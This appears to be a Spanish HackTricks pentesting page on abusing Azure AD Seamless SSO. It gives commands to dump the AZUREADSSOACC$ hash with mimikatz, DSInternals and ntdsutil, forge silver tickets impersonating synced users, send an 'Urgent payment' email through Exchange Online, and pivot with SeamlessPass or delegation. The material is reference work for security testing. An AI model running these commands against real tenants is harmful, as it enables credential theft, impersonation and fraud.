Az - Seamless SSO

Support HackTricks

Información Básica

De la documentación: Azure Active Directory SSO Sin Interrupciones (Azure AD Seamless SSO) inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos conectados a su red corporativa. Cuando está habilitado, los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.

Básicamente, Azure AD SSO Sin Interrupciones inicia sesión a los usuarios cuando están en un PC unido a un dominio local.

Es compatible tanto con PHS (Sincronización de Hash de Contraseña) como con PTA (Autenticación Passthrough).

El SSO de escritorio utiliza Kerberos para la autenticación. Cuando se configura, Azure AD Connect crea una cuenta de computadora llamada AZUREADSSOACC$ en el AD local. La contraseña de la cuenta AZUREADSSOACC$ es enviada como texto plano a Azure AD durante la configuración.

Los tickets de Kerberos son encriptados usando el NTHash (MD4) de la contraseña y Azure AD utiliza la contraseña enviada para desencriptar los tickets.

Azure AD expone un endpoint (https://autologon.microsoftazuread-sso.com) que acepta tickets de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.

Local -> nube

La contraseña del usuario AZUREADSSOACC$ nunca cambia. Por lo tanto, un administrador de dominio podría comprometer el hash de esta cuenta, y luego usarlo para crear tickets de plata para conectarse a Azure con cualquier usuario local sincronizado:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Con el hash ahora puedes generar tickets plateados:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:

  1. Iniciar el Navegador: Se debe lanzar Mozilla Firefox.

  2. Configurar el Navegador:

  1. Acceder a la Aplicación Web:

  • Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es Office 365.

  1. Proceso de Autenticación:

  • En la pantalla de inicio de sesión, se debe ingresar el nombre de usuario, dejando el campo de contraseña en blanco.

  • Para continuar, presionar TAB o ENTER.

Esto no elude MFA si está habilitado

Opción 2 sin dcsync - SeamlessPass

También es posible realizar este ataque sin un ataque dcsync para ser más sigiloso, como se explica en esta publicación de blog. Para eso solo necesitas uno de los siguientes:

  • Un TGT de un usuario comprometido: Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como Kekeo y Rubeus.

  • Golden Ticket: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.

  • Un hash NTLM o clave AES de un usuario comprometido: SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT.

  • Hash NTLM o clave AES de la cuenta AZUREADSSOACC$: Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).

Finalmente, con el TGT es posible utilizar la herramienta SeamlessPass con:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Más información para configurar Firefox para trabajar con SSO sin problemas se puede encontrar en esta publicación de blog.

Creando tickets de Kerberos para usuarios solo en la nube

Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden configurar SID para cualquier usuario en la nube. De esta manera, los tickets de Kerberos también se pueden crear para usuarios solo en la nube. El único requisito es que el SID sea un SID adecuado.

Cambiar el SID de los usuarios administradores solo en la nube ahora está bloqueado por Microsoft. Para más información, consulte https://aadinternals.com/post/on-prem_admin/

On-prem -> Nube a través de Delegación Constrainada Basada en Recursos

Cualquiera que pueda gestionar cuentas de computadora (AZUREADSSOACC$) en el contenedor u OU en el que se encuentra esta cuenta, puede configurar una delegación constrainada basada en recursos sobre la cuenta y acceder a ella.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referencias

Apoya a HackTricks

Last updated